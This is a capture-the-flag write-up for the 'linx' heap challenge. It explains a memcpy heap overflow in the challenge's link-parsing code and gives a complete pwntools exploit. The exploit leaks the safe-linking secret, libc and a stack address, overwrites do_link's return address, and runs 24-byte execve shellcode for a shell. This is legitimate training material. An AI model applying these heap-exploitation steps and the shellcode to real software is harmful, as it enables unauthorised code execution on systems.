#Challenge Description
You like linking with others, don’t you?
#Challenge Overview
The challenge allows us to perform 4 operations:
[1] Insert new link[2] Unlink a link[3] Show links[4] Quit
#Insert new linkThe
do_linkfunction handles the creation of new links. It uses a regex to validate and parse the input format:[<src>](<dst>)
#define LINKS_COUNT 30
#define LINKS_LEN 50
void do_link() {
char text[512] = {0};
printf("Insert your link (format: \"[<your src>](<your dst>)\")\n> ");
if (fgets(text, sizeof(text), stdin) == NULL) exit(EXIT_FAILURE);
text[strcspn(text, "\n")] = '\0';
regmatch_t *m = calloc(re.re_nsub+1, sizeof(regmatch_t));
if (regexec(&re, text, re.re_nsub+1, m, 0) == 0) {
char *src = calloc(1, LINKS_LEN);
char *dst = calloc(1, LINKS_LEN);
for (size_t i = 1; i < re.re_nsub+1; i++) {
size_t len = m[i].rm_eo - m[i].rm_so;
if (i == 1) // first group - link from
memcpy(src, text+m[i].rm_so, len);
else if (i == 2) // second group - link to
memcpy(dst, text+m[i].rm_so, len);
}
...
- The function defines a local buffer
char text[512]to store the raw user input. - It reads up to 512 bytes using
fgetsand strips the trailing newline. - After a successful match, it allocates two buffers of size
LINKS_LEN(50 bytes) for the source (src) and destination (dst) strings.
After parsing, the program checks if the src and dst strings already exist in the links array to avoid redundant allocations:
bool src_found = false, dst_found = false;
size_t src_idx, dst_idx;
for (size_t i = 0; i < LINKS_COUNT && (!src_found || !dst_found); i++) {
if (links[i]) {
if (!strcmp(src, links[i]))
src_found = true, src_idx = i;
if (!strcmp(dst, links[i]))
dst_found = true, dst_idx = i;
}
}
// need to occasionally alloc them
if (!src_found) {
for (size_t i = 0; i < LINKS_COUNT && !src_found; i++)
if (!links[i]) {
src_found = true, src_idx = i, links[src_idx] = src;
if (!strcmp(src, dst)) // handle adding linking from and to same new string
dst_found = true, dst_idx = i, links[dst_idx] = src;
}
} else {
free(src);
src = links[src_idx];
}
if (!dst_found) {
for (size_t i = 0; i < LINKS_COUNT && !dst_found; i++)
if (!links[i])
dst_found = true, dst_idx = i, links[dst_idx] = dst;
} else {
free(dst);
dst = links[dst_idx];
}
if (!src_found || !dst_found) {
puts("No space left for new links!");
free(src);
free(dst);
return;
}
Once the source and destination indices are determined, the challenge stores the connection in a global dynamic array named linking. This is managed through a simple realloc call:
typedef struct {
size_t src_idx, dst_idx;
} linkT;
...
linking = realloc(linking, ++links_cnt*sizeof(linkT));
linking[links_cnt-1] = (linkT){.src_idx = src_idx, .dst_idx = dst_idx};
#Unlink a linkThe
do_unlinkfunction is responsible for removing a link and cleaning up any associated references.
void do_unlink() {
char text[512] = {0};
printf("Insert your link to be unlinked\n> ");
if (fgets(text, sizeof(text), stdin) == NULL) exit(EXIT_FAILURE);
text[strcspn(text, "\n")] = '\0';
bool found = false;
size_t link_idx;
for (size_t i = 0; i < LINKS_COUNT && !found; i++) {
if (links[i] && !strcmp(text, links[i]))
found = true, link_idx = i;
}
if (!found) return;
for (size_t i = 0; i < links_cnt; ) {
bool is_dst = !strcmp(links[linking[i].dst_idx], text);
bool is_src = !strcmp(links[linking[i].src_idx], text);
if (is_src || is_dst) { // need to delete this linking
memmove(linking+i, linking+i+1, (links_cnt-i-1)*sizeof(linkT));
linking = realloc(linking, --links_cnt*sizeof(linkT));
} else i++;
}
free(links[link_idx]);
links[link_idx] = NULL;
}
#Show LinksThe
show_linksfunction is responsible to shows us all links.
void show_links() {
puts("Here are all the links you inserted:");
for (size_t i = 0; i < links_cnt; i++) {
char *src = links[linking[i].src_idx];
char *dst = links[linking[i].dst_idx];
printf("\t\"%s\" -> \"%s\"\n", src, dst);
}
puts("End of links");
}
#QuitIn the end, quit, it calls
exit()function. oh no, no more main ret
#Vuln
The vulnerability in this challenge lies within the do_link function. Specifically, the vulnerability stems from how the function handles user input:
char text[512] = {0};
if (fgets(text, sizeof(text), stdin) == NULL) exit(EXIT_FAILURE);
However, following this, two chunks of size LINKS_LEN are allocated to store the src and dst strings provided in the input:
char *src = calloc(1, LINKS_LEN);
char *dst = calloc(1, LINKS_LEN);
for (size_t i = 1; i < re.re_nsub+1; i++) {
size_t len = m[i].rm_eo - m[i].rm_so;
if (i == 1)
memcpy(src, text+m[i].rm_so, len); //overflow
else if (i == 2)
memcpy(dst, text+m[i].rm_so, len); //overflow
}
This means that by providing a valid regex string with a payload longer than LINKS_LEN, we can achieve a heap overflow of up to 456 bytes (512 - 50 - 6).
It is important to note that links cannot contain null bytes, and neither the src nor the dst fields can be empty.
Finally, it is worth noting that the program provides a dedicated RWX (Read-Write-Execute) memory region at startup::
void *mem = mmap((void*)0x1337000ULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) exit(EXIT_FAILURE);
puts("Welcome, provide me with your linking sauce:");
if (fgets(mem, 0x20, stdin) == NULL) exit(EXIT_FAILURE);
#Exploit
To begin, I allocated several chunks to ensure two of them were adjacent. Then, I freed them in a specific order so that the second chunk would remain untouched after the subsequent allocation:
r = conn()
send(r, b"A"*8, b"B"*8)
send(r, b"C"*8, b"D"*8)
send(r, b"E"*8, b"F"*8)
delete(r, b"F"*8) #3
delete(r, b"E"*8) #2
delete(r, b"B"*8) #1
send(r, b"E"*8, b"F"*64)
┌───────────┐
│ B │ <--- dummy chunk
├───────────┤
├───────────┤
│ E │ <--- overflower
├───────────┤
│ F │ <--- target chunk (freed)
└───────────┘
It is crucial to remember that the application always allocates two chunks at a time. Even if we provide an existing src or dst, the program first allocates the memory and only performs the free() afterward. Therefore, maintaining an “extra” chunk (B) is essential to ensure our target chunks remain undisturbed.
By following this specific sequence, we can reliably trigger the overflow:
- Allocate chunk B: Acts as a buffer/placeholder.
- Allocate chunk E: This will be our “overflow source.”
- Free chunk B: Clears the space before/around our target.
- Result: Chunk F remains untouched in memory, positioned perfectly to be overwritten by the overflow originating from chunk E.
From here, we can leverage the overflow to leak the secret:
r.recvuntil(b'Good! You have linked "EEEEEEEE" and "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF')
secret = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) + 1
(I incremented the secret value by 1, as this offset will be necessary for a specific operation later in the exploit)
After this leak the heap will be destroyed, so to continue allocating we need an additional send whose chunks must no longer be touched; this send I called “Bob l’aggiusta tutto”
send(r, b"G"*8, b"H"*8) #bob l'aggiusta tutto
After this, I made many allocations so as to have some chunks to play with later; also, I managed everything in a way that generates a small bin and puts it in a convenient position to leak the libc base. (The challenge did not provide the libc, but it gave the dockerfile from which I retrieved it)
send(r, b"1"*8, b"2"*8)
send(r, b"3"*8, b"4"*8)
send(r, b"5"*8, b"6"*8)
send(r, b"7"*8, b"8"*8)
send(r, b"0"*8, b"a"*8)
send(r, b"b"*8, b"c"*8)
send(r, b"d"*8, b"e"*8)
send(r, b"f"*8, b"10"*4)
delete(r, b"10"*4)
delete(r, b"f"*8)
send(r, b"f"*8, b"I"*72)
r.recvuntil(b'Good! You have linked "ffffffff" and "IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII')
Subsequently, I used the same technique again to allocate on the environ, leak the stack frame return address of do_link, and then allocate over it to overwrite the ret with the pointer to the RWX zone provided to us:
environ = libc + 0x23be28 - 0x48
delete(r, b"e"*8) #1
delete(r, b"d"*8) #2
delete(r, b"c"*8) #3
send(r, b"A"*8, b"P"*64 + p64(environ ^ secret)[:-2])
send(r, b"e"*8, b"d"*8)
delete(r, b"A"*8)
send(r, b"c"*8, b"SS"*36)
r.recvuntil(b'Good! You have linked "cccccccc" and "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS')
ret = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) - 0x150
delete(r, b"e"*8)
delete(r, b"b"*8)
delete(r, b"1")
send(r, b"c"*8, b"Z"*8)
send(r, b"c"*8, b"z"*64 + p64((ret-0x8) ^ secret)[:-2])
send(r, b"e"*8, b"b"*8)
delete(r, b"c"*8)
send(r, b"2"*8, b"A"*8+b"\x08\x70\x33\x01")#0x1337008ULL
Note that since I cannot send null bytes, otherwise the regex breaks and will not validate it, I send all addresses without null bytes; consequently, it is necessary to return not to 0x1337000, as it contains a null byte, but to 0x1337008. This means that we only have 24 bytes of space to write a working shellcode.
The shellcode I wrote is this:
shellcode = asm("""
push 0x3b
pop rax
cdq
push rdx
movabs rbx, 0x68732f6e69622f2f
push rbx
push rsp
pop rdi
push rdx
pop rsi
syscall
""")
I think it is very clear; the only peculiar instruction is cdq, which is very small, saves a lot of space, and allows for completely clearing RDX if EAX is positive (which in this case it is)
Below I leave the entire script:
#!/usr/bin/env python3
from pwn import *
from time import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--local", action="store_true", help="Esegui in modalità locale")
parser.add_argument("--debug", action="store_true", help="Esegui in modalità debug")
args = parser.parse_args()
HOST = "linx.challs.srdnlen.it"
PORT = 1092
exe = ELF("./linx_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
#rop = ROP(exe) #rop.find_gadget(["ret"])[0]
context.aslr = True # Disabilita ASLR
context.binary = exe
context.terminal = ['tmux', 'split-window', '-h', '-b']
exe.address = base = 0x555555554000 if not context.aslr else exe.address
gdbscript =\
"""
b *main
i b
"""
def conn():
if getattr(args, "local", False): # Modalita' LOCAL
print("...MODALITA' LOCAL...")
#r = process([LD_PATH, '--library-path', '.', exe.path])
r = process([exe.path])
elif getattr(args, "debug", False): #Modalita' DEBUG
print("...MODALITA' DEBUG...")
#r = gdb.debug([LD_PATH, '--library-path', '.', exe.path], gdbscript=gdbscript)
r = gdb.debug(exe.path, gdbscript=gdbscript)
else: # Modalità remota come default
print("...MODALITA' REMOTE...")
r = remote(HOST, PORT)
return r
decode_ptr = lambda ptr, offset=0: (mid := ptr ^ ((ptr >> 12) + offset)) ^ (mid >> 24)
encode_ptr = lambda pos, ptr: (pos >> 12) ^ ptr
def send(r, src, dst):
r.sendline(b"1")
r.sendline(b"["+src+b"]"+b"("+dst+b")")
def delete(r, src):
r.sendline(b"2")
r.sendline(src)
def main():
r = conn()
r.interactive() # hashcash
shellcode = asm("""
push 0x3b
pop rax
cdq
push rdx
movabs rbx, 0x68732f6e69622f2f
push rbx
push rsp
pop rdi
push rdx
pop rsi
syscall
""")
r.sendline(p64(0) + shellcode)
r.recvuntil(b"Here's where I put your sauce")
send(r, b"A"*8, b"B"*8)
send(r, b"C"*8, b"D"*8)
send(r, b"E"*8, b"F"*8)
delete(r, b"F"*8) #3
delete(r, b"E"*8) #2
delete(r, b"B"*8) #1
send(r, b"E"*8, b"F"*64)
r.recvuntil(b'Good! You have linked "EEEEEEEE" and "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF')
secret = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) + 1
send(r, b"G"*8, b"H"*8) #bob l'aggiusta tutto
send(r, b"1"*8, b"2"*8)
send(r, b"3"*8, b"4"*8)
send(r, b"5"*8, b"6"*8)
send(r, b"7"*8, b"8"*8)
send(r, b"0"*8, b"a"*8)
send(r, b"b"*8, b"c"*8)
send(r, b"d"*8, b"e"*8)
send(r, b"f"*8, b"10"*4)
delete(r, b"10"*4)
delete(r, b"f"*8)
send(r, b"f"*8, b"I"*72)
r.recvuntil(b'Good! You have linked "ffffffff" and "IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII')
libc = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) - 0x234bf0
environ = libc + 0x23be28 - 0x48
delete(r, b"e"*8) #1
delete(r, b"d"*8) #2
delete(r, b"c"*8) #3
send(r, b"A"*8, b"P"*64 + p64(environ ^ secret)[:-2])
send(r, b"e"*8, b"d"*8)
delete(r, b"A"*8)
send(r, b"c"*8, b"SS"*36)
r.recvuntil(b'Good! You have linked "cccccccc" and "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS')
ret = u64(r.recvline().strip()[:-2].ljust(8, b"\x00")) - 0x150
delete(r, b"e"*8)
delete(r, b"b"*8)
delete(r, b"1")
send(r, b"c"*8, b"Z"*8)
send(r, b"c"*8, b"z"*64 + p64((ret-0x8) ^ secret)[:-2])
send(r, b"e"*8, b"b"*8)
delete(r, b"c"*8)
send(r, b"2"*8, b"A"*8+b"\x08\x70\x33\x01")#0x1337008ULL
print(hex((secret)))
print(hex(libc))
print(hex(ret))
r.interactive()
if __name__ == "__main__":
main()
~SoloPietro
